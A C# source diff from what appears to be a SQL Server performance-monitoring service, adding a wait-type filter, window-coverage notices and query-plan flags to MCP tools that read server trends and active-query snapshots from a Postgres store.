+            var discontinuities = await DarlingTrendReader.GetBaselineDiscontinuitiesAsync(postgres, resolved.ServerId, start, end, cancellationToken);
+            envelope[BaselineDiscontinuities.PayloadKey] = BaselineDiscontinuities.ToPayload(discontinuities);
+            return JsonSerializer.Serialize(envelope, McpHelpers.JsonOptions);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_server_trend", ex);
+        }
+    }
+
+    /// <summary>The clerk types a caller named: trimmed, de-duplicated, in the order given.</summary>
+    internal static List<string> ParseClerks(string? clerkTypes) =>
+        string.IsNullOrWhiteSpace(clerkTypes)
+            ? []
+            : clerkTypes.Split(',', StringSplitOptions.TrimEntries | StringSplitOptions.RemoveEmptyEntries).Distinct(StringComparer.Ordinal).ToList();
+
+    /// <summary>The fields each metric's points carry, in column order after the bucket stamp. Notes may name only these.</summary>
+    internal static string[] Fields(string metric) => metric switch
+    {
+        "total_waits" => ["wait_time_ms_per_second"],
+        "cpu_scheduler" => ["runnable_tasks", "blocked_tasks", "queued_requests"],
+        "memory_clerks" => ["memory_mb"],
+        "latch" => ["wait_time_ms_per_second"],
+        "spinlock" => ["collisions_per_second"],
+        "session_stats" => SessionFields,
+        "collector_duration" => ["max_duration_ms", "avg_duration_ms", "run_count"],
+        "tempdb_file_io" => ["avg_read_latency_ms", "avg_write_latency_ms"],
+        "tempdb_size" => ["allocated_mb"],
+        "file_io_throughput" => ["read_mb_per_sec", "write_mb_per_sec"],
+        _ => ["single_use_mb", "multi_use_mb"],
+    };
+
+    private static readonly string[] SessionFields =
+    [
+        "total_sessions", "running_sessions", "sleeping_sessions", "background_sessions", "dormant_sessions",
+        "idle_sessions_over_30min", "sessions_waiting_for_memory", "databases_with_connections",
+        "top_application_name", "top_application_connections", "top_host_name", "top_host_connections",
+    ];
+
+    /// <summary>How many single-field points one session_stats point weighs when the bucket width is sized to the response budget.</summary>
+    internal const int SessionPointWeight = 4;
+
+    /// <summary>How a metric that follows named series is read: the series key in the answer, the parameter that names them,
+    /// the answer key that reports the ones with no samples, and the plural noun the miss note uses.</summary>
+    internal sealed record SeriesKind(string Key, string Param, string Missing, string Noun, string HeaviestKey);
+
+    /// <summary>The series shape of a metric, or null for a metric that is one series.</summary>
+    internal static SeriesKind? SeriesOf(string metric) => metric switch
+    {
+        "memory_clerks" => new("clerk_type", "clerk_types", "missing_clerk_types", "clerk types", "heaviest_clerk_types"),
+        "latch" => new("latch_class", "names", "missing_names", "latch classes", "top_names"),
+        "spinlock" => new("spinlock_name", "names", "missing_names", "spinlocks", "top_names"),
+        "collector_duration" => new("collector_name", "names", "missing_names", "collectors", "top_names"),
+        "tempdb_file_io" => new("file_name", "names", "missing_names", "tempdb files", "top_names"),
+        "file_io_throughput" => new("file_label", "names", "missing_names", "files", "top_names"),
+        _ => null,
+    };
+
+    /// <summary>The note that tells a reader how each point was rolled up. It names only fields the metric emits.</summary>
+    internal static string Note(string metric, int bucketMinutes, bool requested, int budgetPoints)
+    {
+        var stamp = $"is stamped at the bucket's start (the first point at the window's start). ";
+        if (metric == "total_waits")
+        {
+            return $"Each point summarizes the collections in one {TrendBuckets.Adjective(bucketMinutes)} bucket and {stamp}"
+                + "wait_time_ms_per_second is recomputed from the summed wait time over the seconds the collections covered, never averaged from per-collection rates, so a bucket the window cuts short still holds a true rate. "
+                + TrendBuckets.Sizing(requested, budgetPoints);
+        }
+
+        if (metric is "latch" or "spinlock")
+        {
+            var field = Fields(metric)[0];
+            return $"Each point summarizes the collections in one {TrendBuckets.Adjective(bucketMinutes)} bucket of one series and {stamp}"
+                + $"{field} is recomputed from the summed delta over the seconds the collections covered, never averaged from per-collection rates; a collection whose interval was unknowable is left out. "
+                + TrendBuckets.Sizing(requested, budgetPoints);
+        }
+
+        if (metric == "collector_duration")
+        {
+            return $"Each point summarizes the successful runs of one collector in one {TrendBuckets.Adjective(bucketMinutes)} bucket and {stamp}"
+                + "max_duration_ms is the longest run in the bucket, so a slow run shows however wide the bucket is; avg_duration_ms is the average and run_count the number of runs. "
+                + TrendBuckets.Sizing(requested, budgetPoints);
+        }
+
+        if (metric == "tempdb_file_io")
+        {
+            return $"Each point summarizes the collections of one tempdb file in one {TrendBuckets.Adjective(bucketMinutes)} bucket and {stamp}"
+                + "avg_read_latency_ms and avg_write_latency_ms are recomputed from the summed stall time over the summed operations, never averaged from per-collection latencies; a collection whose interval was unknowable is left out; a bucket with usable rows but no reads (or no writes) reads 0 for that side, and a bucket with no usable read row at all (writes only) is left out. "
+                + TrendBuckets.Sizing(requested, budgetPoints);
+        }
+
+        if (metric == "file_io_throughput")
+        {
+            return $"Each point summarizes the collections of one file in one {TrendBuckets.Adjective(bucketMinutes)} bucket and {stamp}"
+                + "read_mb_per_sec and write_mb_per_sec are recomputed from the summed bytes over the seconds the collections covered, never averaged from per-collection rates; a collection whose interval was unknowable is left out. "
+                + TrendBuckets.Sizing(requested, budgetPoints);
+        }
+
+        if (metric == "tempdb_size")
+        {
+            return $"Each point averages the collections in one {TrendBuckets.Adjective(bucketMinutes)} bucket and {stamp}"
+                + "allocated_mb is the average reserved space plus the average unallocated space, a level, never summed across collections. "
+                + TrendBuckets.Sizing(requested, budgetPoints);
+        }
+
+        if (metric == "session_stats")
+        {
+            return $"Each point averages the collections in one {TrendBuckets.Adjective(bucketMinutes)} bucket and {stamp}"
+                + "The session counts are levels, averaged, never summed; top_application_name, top_application_connections, top_host_name and top_host_connections are the newest collection's own values in the bucket. A count a collection did not report averages as 0. "
+                + TrendBuckets.Sizing(requested, budgetPoints);
+        }
+
+        var zero = metric == "cpu_scheduler" ? " A count a collection did not report averages as 0." : string.Empty;
+        return $"Each point averages the samples in one {TrendBuckets.Adjective(bucketMinutes)} bucket and {stamp}"
+            + $"A level is averaged, never summed, so a spike inside a bucket is smoothed into its average; narrow the bucket to see it.{zero} "
+            + TrendBuckets.Sizing(requested, budgetPoints);
+    }
+
+    /// <summary>Series were named and none has a sample in the window: say so, and list what the window did record.</summary>
+    private static async Task<string> NoNamedSeriesAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, SeriesKind kind, List<string> named, DateTime start, DateTime end,
+        int hoursBack, string metric, CancellationToken cancellationToken)
+    {
+        var heaviest = await ReadTopNamesAsync(postgres, kind, resolved.ServerId, start, end, metric, cancellationToken);
+        if (heaviest.Count == 0)
+        {
+            return await EmptyAsync(postgres, resolved, metric, hoursBack, cancellationToken);
+        }
+
+        var spelling = kind.Param == "names" ? "Names" : "Clerk types";
+        return McpHelpers.Status(
+            "empty",
+            $"None of the named {kind.Noun} were recorded for {resolved.ServerName} in the last {hoursBack} hour(s). {spelling} are matched exactly, so check the spelling and case. The window does hold others: {kind.HeaviestKey} lists the top of them.",
+            new Dictionary<string, object?> { [kind.Missing] = named, [kind.HeaviestKey] = heaviest });
+    }
+
+    private static (string Sql, string Collector, string EverSql, string What) Describe(string metric) => metric switch
+    {
+        "total_waits" => (ServerTrendSql.TotalWaits, "wait_stats", ServerTrendSql.HasAnyWaits, "wait statistics"),
+        "cpu_scheduler" => (ServerTrendSql.CpuScheduler, "cpu_scheduler_stats", ServerTrendSql.HasAnyCpuScheduler, "CPU scheduler samples"),
+        "memory_clerks" => (string.Empty, "memory_clerks", ServerTrendSql.HasAnyMemoryClerks, "memory clerk samples"),
+        "latch" => (string.Empty, "latch_stats", ServerTrendSql.HasAnyLatch, "latch statistics"),
+        "spinlock" => (string.Empty, "spinlock_stats", ServerTrendSql.HasAnySpinlock, "spinlock statistics"),
+        "session_stats" => (ServerTrendSql.SessionSummary, "session_stats", ServerTrendSql.HasAnySessionSummary, "session summary samples"),
+        "collector_duration" => (string.Empty, "collection_log", ServerTrendSql.HasAnyCollectionLog, "collector runs"),
+        "tempdb_file_io" => (string.Empty, "file_io_stats", ServerTrendSql.HasAnyTempDbFileIo, "tempdb file I/O samples"),
+        "tempdb_size" => (ServerTrendSql.TempDbSize, "tempdb_stats", ServerTrendSql.HasAnyTempDb, "tempdb space samples"),
+        "file_io_throughput" => (string.Empty, "file_io_stats", ServerTrendSql.HasAnyFileIo, "file I/O samples"),
+        _ => (ServerTrendSql.PlanCache, "plan_cache_stats", ServerTrendSql.HasAnyPlanCache, "plan cache samples"),
+    };
+
+    /// <summary>The two kinds of nothing, plus the gated engine: asked only on the path that already found no rows.</summary>
+    private static async Task<string> EmptyAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, string metric, int hoursBack, CancellationToken cancellationToken)
+    {
+        var (_, collector, everSql, what) = Describe(metric);
+        /* One literal per metric, so the engine-capability census can read which collectors this tool asks about. */
+        var gated = metric switch
+        {
+            "total_waits" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "wait_stats", cancellationToken),
+            "cpu_scheduler" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "cpu_scheduler_stats", cancellationToken),
+            "memory_clerks" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "memory_clerks", cancellationToken),
+            "latch" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "latch_stats", cancellationToken),
+            "spinlock" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "spinlock_stats", cancellationToken),
+            "session_stats" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "session_stats", cancellationToken),
+            "collector_duration" => null,
+            "tempdb_file_io" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "file_io_stats", cancellationToken),
+            "tempdb_size" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "tempdb_stats", cancellationToken),
+            "file_io_throughput" => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "file_io_stats", cancellationToken),
+            _ => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "plan_cache_stats", cancellationToken),
+        };
+        if (gated != null)
+        {
+            return gated;
+        }
+
+        await using var command = postgres.CreateCommand(everSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(command, resolved.ServerId);
+        var everCollected = await command.ExecuteScalarAsync(cancellationToken) is not null;
+
+        return everCollected
+            ? McpHelpers.Status(
+                "empty",
+                $"No {what} recorded for {resolved.ServerName} in the last {hoursBack} hour(s). This server HAS collected them before, so this window is genuinely quiet rather than broken - widen hours_back to find the most recent samples.")
+            : McpHelpers.Status(
+                "unavailable",
+                $"No {what} have EVER been recorded for {resolved.ServerName}. This is not an empty window - the {collector} collector has stored nothing at all for this server. Check that collection is running and that the server is enabled.");
+    }
+
+    private static async Task<List<string>> ReadTopNamesAsync(
+        NpgsqlDataSource postgres, SeriesKind kind, int serverId, DateTime start, DateTime end, string metric, CancellationToken cancellationToken)
+    {
+        var items = new List<string>();
+        var topSql = metric switch
+        {
+            "latch" => ServerTrendSql.TopLatchClasses,
+            "spinlock" => ServerTrendSql.TopSpinlocks,
+            "collector_duration" => ServerTrendSql.TopCollectors,
+            "tempdb_file_io" => ServerTrendSql.TopTempDbFiles,
+            "file_io_throughput" => ServerTrendSql.TopIoFiles,
+            _ => ServerTrendSql.TopMemoryClerks,
+        };
+        await using var command = postgres.CreateCommand(topSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddWindow(command, serverId, start, end);
+        DarlingMcpReadParameters.AddInt(command, DefaultClerkCount);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(reader.GetString(0));
+        }
+
+        return items;
+    }
+
+    private static async Task<Dictionary<string, List<Dictionary<string, object?>>>> ReadSeriesAsync(
+        NpgsqlDataSource postgres, string metric, SeriesKind kind, int serverId, List<string> selected, DateTime start, DateTime end, int bucketMinutes,
+        CancellationToken cancellationToken)
+    {
+        var fields = Fields(metric);
+        var sql = metric switch
+        {
+            "latch" => ServerTrendSql.LatchWaits(selected.Count),
+            "spinlock" => ServerTrendSql.SpinlockCollisions(selected.Count),
+            "collector_duration" => ServerTrendSql.CollectorDurations(selected.Count),
+            "tempdb_file_io" => ServerTrendSql.TempDbFileIo(selected.Count),
+            "file_io_throughput" => ServerTrendSql.FileIoThroughput(selected.Count),
+            _ => ServerTrendSql.MemoryClerks(selected.Count),
+        };
+        var series = new Dictionary<string, List<Dictionary<string, object?>>>(StringComparer.Ordinal);
+        await using var command = postgres.CreateCommand(sql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddWindow(command, serverId, start, end);
+        foreach (var item in selected)
+        {
+            DarlingMcpReadParameters.AddText(command, item);
+        }
+
+        DarlingMcpReadParameters.AddInt(command, bucketMinutes);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var key = reader.GetString(0);
+            if (!series.TryGetValue(key, out var list))
+            {
+                list = [];
+                series[key] = list;
+            }
+
+            var point = new Dictionary<string, object?> { ["time"] = Stamp(reader.GetDateTime(1)) };
+            for (var i = 0; i < fields.Length; i++)
+            {
+                AddNumber(point, fields[i], reader, i + 2);
+            }
+
+            list.Add(point);
+        }
+
+        return series;
+    }
+
+    private static async Task<List<Dictionary<string, object?>>> ReadPointsAsync(
+        NpgsqlDataSource postgres, string metric, int serverId, DateTime start, DateTime end, int bucketMinutes,
+        CancellationToken cancellationToken)
+    {
+        var fields = Fields(metric);
+
+        var items = new List<Dictionary<string, object?>>();
+        await using var command = postgres.CreateCommand(Describe(metric).Sql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddWindow(command, serverId, start, end);
+        DarlingMcpReadParameters.AddInt(command, bucketMinutes);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var point = new Dictionary<string, object?> { ["time"] = Stamp(reader.GetDateTime(0)) };
+            for (var i = 0; i < fields.Length; i++)
+            {
+                AddNumber(point, fields[i], reader, i + 1);
+            }
+
+            items.Add(point);
+        }
+
+        return items;
+    }
+
+    /// <summary>Adds a number rounded to 2 places, a text column as it is, or nothing when the column is NULL.</summary>
+    private static void AddNumber(Dictionary<string, object?> point, string key, NpgsqlDataReader reader, int ordinal)
+    {
+        if (reader.IsDBNull(ordinal))
+        {
+            return;
+        }
+
+        point[key] = reader.GetFieldType(ordinal) switch
+        {
+            var type when type == typeof(string) => reader.GetString(ordinal),
+            var type when type == typeof(int) => reader.GetInt32(ordinal),
+            _ => Math.Round(reader.GetDouble(ordinal), 2),
+        };
+    }
+
+    private static string Stamp(DateTime value) =>
+        DateTime.SpecifyKind(value, DateTimeKind.Unspecified).ToString("o", CultureInfo.InvariantCulture);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs
index cd551cd4c8..5cd987ea8b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs
@@ -11,11 +11,14 @@
 using System.ComponentModel;
 using System.Linq;
 using System.Text.Json;
+using System.Text.Json.Nodes;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -108,27 +111,29 @@ public static async Task<string> GetSessionStats(
     /// the shape those already use). <c>truncated</c> / <c>total_snapshots</c>
     /// already tell a caller who wants more to raise limit or narrow hours_back. The web viewer is not this
     /// budget's caller (#4198 lane W2): its <c>/api/read</c> mirror keeps the pre-#4198 2,000-character
-    /// preview every caller got before this tool's default fell to 500, through the internal overload below
+    /// preview every caller got before this tool's default fell to 500 and then, with the window-floor keys (#4966), to 400, through the internal overload below
     /// (the split #3897's trend tools use — one MCP-facing method, one budget-taking overload).
     /// </summary>
-    private const int QueryTextPreviewLength = 500;
+    private const int QueryTextPreviewLength = 400;
 
     /// <inheritdoc cref="QueryTextPreviewLength"/>
     private const int DefaultLimit = 25;
 
-    [McpServerTool(Name = "get_active_queries"), Description("Active query snapshots (sys.dm_exec_requests) in a window ending at as_of: query text, wait, CPU/elapsed ms, blocking, DOP, memory grant GB. database_name/blocking_only filter IN SQL: total_snapshots is the filtered count; truncated means over limit. wait_time_ms, dop, granted_query_memory_gb, open_transaction_count: null = zero or not applicable. Head blockers are never stripped (is_head_blocker); a victim's blocker_not_shown is not_captured, filtered, or past_page. Empty: no snapshot in the window, or none matching filters; not_collected (unfiltered only): engine can't run it. <<GUIDE>> query_text is a preview by default (query_text_truncated: true) — pass full_text for the whole text. Gets active query snapshots captured from sys.dm_exec_requests. Shows what queries were running at each collection point: session ID, query text, wait type, CPU time, elapsed time, blocking info, DOP, and memory grants. Use hours_back to look at a specific time window — critical for finding what was running during a CPU spike or blocking event. EVERY FILTER IS PART OF THE QUERY: database_name and blocking_only are applied in SQL before the page is cut, total_snapshots is the count of snapshot rows in the window that pass your filters, snapshots_returned is how many you got, and truncated says the filtered population held more than limit — raise limit or narrow hours_back when it is true (NEWEST CAPTURE FIRST, highest CPU first within a capture; oldest_returned_collection_time / newest_returned_collection_time bound the page). Applied in SQL, so total_snapshots counts the blocking population and truncated is measured against it. HEAD BLOCKERS ARE NEVER STRIPPED: a session another row in the same capture names as its blocker is on the page whatever its text (including a WAITFOR shell holding locks), flagged is_head_blocker. A victim whose blocker is NOT on the page says why in blocker_not_shown: not_captured (the blocker held no running request at that capture — an idle open transaction is the classic case; get_blocking has its input buffer from the blocked-process report), filtered (your database_name filter excluded it), or past_page (it is in the filtered population but beyond limit).")]
+    [McpServerTool(Name = "get_active_queries"), Description("Active query snapshots (sys.dm_exec_requests) in a window ending at as_of: query text, wait, CPU/elapsed ms, blocking, DOP, memory grant GB. database_name/blocking_only filter IN SQL: total_snapshots is the filtered count; truncated means over limit. wait_time_ms, dop, granted_query_memory_gb, open_transaction_count: null = zero or not applicable. Head blockers are never stripped (is_head_blocker); a victim's blocker_not_shown is not_captured, filtered, or past_page. Empty: no snapshot in the window, or none matching filters; not_collected (unfiltered only): engine can't run it. <<GUIDE>> query_text is a preview by default (query_text_truncated: true) — pass full_text for the whole text. Gets active query snapshots captured from sys.dm_exec_requests. Shows what queries were running at each collection point: session ID, query text, wait type, CPU time, elapsed time, blocking info, DOP, and memory grants. Use hours_back to look at a specific time window — critical for finding what was running during a CPU spike or blocking event. EVERY FILTER IS PART OF THE QUERY: database_name, blocking_only and wait_type are applied in SQL before the page is cut, total_snapshots is the count of snapshot rows in the window that pass your filters, snapshots_returned is how many you got, and truncated says the filtered population held more than limit — raise limit or narrow hours_back when it is true (NEWEST CAPTURE FIRST, highest CPU first within a capture; oldest_returned_collection_time / newest_returned_collection_time bound the page). Applied in SQL, so total_snapshots counts the blocking population and truncated is measured against it. HEAD BLOCKERS ARE NEVER STRIPPED: a session another row in the same capture names as its blocker is on the page whatever its text (including a WAITFOR shell holding locks), flagged is_head_blocker. A victim whose blocker is NOT on the page says why in blocker_not_shown: not_captured (the blocker held no running request at that capture — an idle open transaction is the classic case; get_blocking has its input buffer from the blocked-process report), filtered (your database_name or wait_type filter excluded it), or past_page (it is in the filtered population but beyond limit). When the store did not cover the whole window, effective_start, window_truncated and truncation_note say where its data starts.")]
     public static Task<string> GetActiveQueries(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of data to retrieve. Default 1.")] int hours_back = 1,
         [Description("Filter to a specific database. Applied in SQL; a head blocker in ANOTHER database is then not on the page, and its victims say blocker_not_shown = filtered.")] string? database_name = null,
         [Description("Show only queries involved in blocking: rows with blocking_session_id > 0, plus the head blockers those rows name in the same capture.")] bool blocking_only = false,
+        [Description("Only rows waiting on this wait type at capture, e.g. PAGEIOLATCH_SH: exact name, any case. Applied in SQL. A head blocker on another wait is then off the page (blocker_not_shown = filtered).")] string? wait_type = null,
         [Description("Maximum number of rows to return. Default 25 (#4198, down from 50 — sized to fit the response budget). The page is bounded by limit, not hours_back — truncated says whether the window held more.")] int limit = DefaultLimit,
-        [Description("Return each row's full query text instead of a 500-character preview. Default false.")] bool full_text = false,
+        [Description("Return each row's full query text instead of a 400-character preview. Default false.")] bool full_text = false,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default) =>
-        GetActiveQueries(postgres, server_name, hours_back, database_name, blocking_only, limit,
-            full_text ? null : QueryTextPreviewLength, as_of, cancellationToken);
+        GetActiveQueries(postgres, server_name, hours_back, database_name, blocking_only, wait_type, limit,
+            full_text ? null : QueryTextPreviewLength, as_of, logger, cancellationToken);
 
     /// <summary>
     /// get_active_queries under an explicit query-text preview length (#4198 lane W2): the MCP tool above
@@ -139,9 +144,21 @@ public static Task<string> GetActiveQueries(
     /// so the two surfaces differ only in preview length; null means no truncation at all, not "unbounded
     /// preview length" — the ternary below never truncates on a null budget.
     /// </summary>
+    internal static Task<string> GetActiveQueries(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, string? database_name, bool blocking_only, string? waitType,
+        int limit, int? queryTextPreviewLength, string? as_of, ILogger? logger = null, CancellationToken cancellationToken = default) =>
+        GetActiveQueries(postgres, server_name, hours_back, DatabaseFilter.One(database_name), blocking_only, waitType,
+            limit, queryTextPreviewLength, as_of, logger, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5245). The MCP tool and the web mirror pass <see cref="DatabaseFilter.One"/> of
+    /// their one <c>database_name</c> until a later lane wires the list. <b>The name is no longer trimmed (#5245):</b> a blank
+    /// name is <see cref="DatabaseFilter.All"/>, and every other name is compared exactly as given, so ' SalesDb' no longer
+    /// finds <c>SalesDb</c>. The wait type is still trimmed (#5235).
+    /// </summary>
     internal static async Task<string> GetActiveQueries(
-        NpgsqlDataSource postgres, string? server_name, int hours_back, string? database_name, bool blocking_only,
-        int limit, int? queryTextPreviewLength, string? as_of, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, string? server_name, int hours_back, DatabaseFilter databases, bool blocking_only, string? waitType,
+        int limit, int? queryTextPreviewLength, string? as_of, ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -154,31 +171,43 @@ internal static async Task<string> GetActiveQueries(
         try
         {
             var now = windowEnd;
-            var filter = string.IsNullOrWhiteSpace(database_name) ? null : database_name.Trim();
+            /* #5245: the databases are a SET (DatabaseFilter), and a name is compared as given; it used to be trimmed here.
+               The one-name echo and text below stay as they were, and two or more names say "the chosen databases". */
+            var filter = databases.Describe();
+            /* #5235: the wait filter is trimmed the same way, so a blank is none and the echo below names the value that was applied. */
+            var waitFilter = string.IsNullOrWhiteSpace(waitType) ? null : waitType.Trim();
 
             /* #3541 A13: the filters ride INTO the read (see ActiveQueriesSql), and the read is asked for one
                row past the cap so truncation is OBSERVED on the filtered population rather than inferred from
                the page. total_snapshots is the SQL's COUNT(*) OVER () of that same population — the number
                used to be rows.Count of an unfiltered window read, a different population from the rows. */
             var page = await DarlingSessionReader.GetActiveQueriesAsync(
-                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, filter, blocking_only, cancellationToken);
+                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, databases, blocking_only, waitFilter, cancellationToken);
             var rows = page.Rows;
 
+            /* #4966: where the store's coverage of the window starts, in the three keys every window-floor tool writes. An answer
+               with rows over a window of 90 minutes or less needs no probe; an empty one is always probed. */
+            var windowStart = now.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "query_snapshots", resolved.ServerName, windowStart, now, cancellationToken),
+                windowStart, now, "query_snapshots", emptyAnswer: rows.Count == 0, logger: logger, cancellationToken: cancellationToken);
+
             if (rows.Count == 0)
             {
                 /* A filtered miss is not a collection miss: with the filters in the query, an empty page under
-                   database_name or blocking_only means the window held no snapshot matching them. */
-                if (filter != null || blocking_only)
+                   database_name, blocking_only or wait_type means the window held no snapshot matching them. */
+                if (!databases.IsAll || blocking_only || waitFilter != null)
                 {
                     return McpHelpers.Status(
                         "empty",
                         $"No active query snapshots on {resolved.ServerName} in the last {hours_back} hour(s) matched "
-                        + DescribeActiveQueryFilters(filter, blocking_only)
-                        + ". The filters were applied in SQL over the whole window, so unfiltered snapshots may well exist — drop them to see what the window holds.");
+                        + DescribeActiveQueryFilters(databases, blocking_only, waitFilter)
+                        + ". The filters were applied in SQL over the whole window, so unfiltered snapshots may well exist — drop them to see what the window holds.",
+                        notice.AsHints());
                 }
 
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_snapshots", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No active query snapshots found in the requested time range.");
+                    ?? McpHelpers.Status("empty", "No active query snapshots found in the requested time range.", notice.AsHints());
             }
 
             var truncated = rows.Count > limit;
@@ -200,6 +229,7 @@ database_name or blocking_only means the window held no snapshot matching them.
                 reads = r.Reads,
                 writes = r.Writes,
                 wait_type = string.IsNullOrEmpty(r.WaitType) ? null : r.WaitType,
+                wait_resource = string.IsNullOrEmpty(r.WaitResource) ? null : r.WaitResource,
                 wait_time_ms = r.WaitTimeMs > 0 ? r.WaitTimeMs : (long?)null,
                 blocking_session_id = r.BlockingSessionId > 0 ? r.BlockingSessionId : (int?)null,
                 /* #3541 A13: the two blocking disclosures. is_head_blocker is why a WAITFOR row can be here;
@@ -211,31 +241,72 @@ database_name or blocking_only means the window held no snapshot matching them.
                 granted_query_memory_gb = r.GrantedQueryMemoryGb > 0 ? r.GrantedQueryMemoryGb : (double?)null,
                 transaction_isolation_level = string.IsNullOrEmpty(r.TransactionIsolationLevel) ? null : r.TransactionIsolationLevel,
                 open_transaction_count = r.OpenTransactionCount > 0 ? r.OpenTransactionCount : (int?)null,
+                percent_complete = r.PercentComplete > 0 ? r.PercentComplete : null,
+                query_hash = string.IsNullOrEmpty(r.QueryHash) ? null : r.QueryHash,
+                /* #5228: the plan key and its presence flags. request_id completes the row's natural key
+                   (collection_time, session_id, request_id); the flags are written only when true and a null request_id is omitted
+                   (the omit-false rule, applied per row below), and the XML itself is get_active_query_plan_xml's, on demand. */
+                request_id = r.RequestId,
+                has_query_plan = r.HasQueryPlan ? true : (bool?)null,
+                has_live_query_plan = r.HasLiveQueryPlan ? true : (bool?)null,
                 login_name = r.LoginName,
                 host_name = r.HostName,
                 program_name = r.ProgramName,
-                query_text = queryTextPreviewLength.HasValue ? McpHelpers.Truncate(r.QueryText, queryTextPreviewLength.Value) : r.QueryText,
+                query_text = queryTextPreviewLength.HasValue ? McpHelpers.TruncateStatement(r.QueryText, queryTextPreviewLength.Value) : r.QueryText,
                 query_text_truncated = queryTextPreviewLength.HasValue && (r.QueryText?.Length ?? 0) > queryTextPreviewLength.Value
             }).ToList();
 
-            return JsonSerializer.Serialize(new
+            var payload = new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor. Written only when the store did NOT cover the window (see below). No
+                   effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart for the window
+                   floor (McpPayloadContractCensusTests), so the reach is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 filters_applied = new
                 {
                     database_name = filter,
                     blocking_only,
+                    wait_type = waitFilter,
                 },
                 /* The FILTERED population's size, computed in SQL on the same statement as the rows. */
                 total_snapshots = page.PopulationCount,
                 snapshots_returned = result.Count,
                 truncated,
                 order = "collection_time_desc",
-                oldest_returned_collection_time = shown[^1].CollectionTime.ToString("o"),
-                newest_returned_collection_time = shown[0].CollectionTime.ToString("o"),
+                /* #4966: where the page's rows stop describes the window the page covers, so it prints like
+                   effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(shown[^1].CollectionTime),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(shown[0].CollectionTime),
                 queries = result
-            }, McpHelpers.JsonOptions);
+            };
+
+            /* The house omit-false rule: a covered window carries none of the three keys, so a default call stays inside
+               McpResponseBudget.DefaultBytes (they cost ~110 bytes). A cut window carries all three, in place. A failed probe
+               has no verdict (WindowTruncated is false), so it carries none either: the rows go out without the notice. */
+            var node = JsonSerializer.SerializeToNode(payload, McpHelpers.JsonOptions)!.AsObject();
+            if (!notice.WindowTruncated)
+            {
+                node.Remove("effective_start");
+                node.Remove("window_truncated");
+                node.Remove("truncation_note");
+            }
+
+            /* #5228: JsonOptions writes a null as null, so the plan flags and a null request_id are dropped per row here,
+               which is what makes "written only when true" so. */
+            if (node["queries"] is JsonArray queryRows)
+            {
+                foreach (var row in queryRows.OfType<JsonObject>())
+                {
+                    foreach (var key in new[] { "request_id", "has_query_plan", "has_live_query_plan" })
+                        if (row[key] is null) row.Remove(key);
+                }
+            }
+
+            return node.ToJsonString(McpHelpers.JsonOptions);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
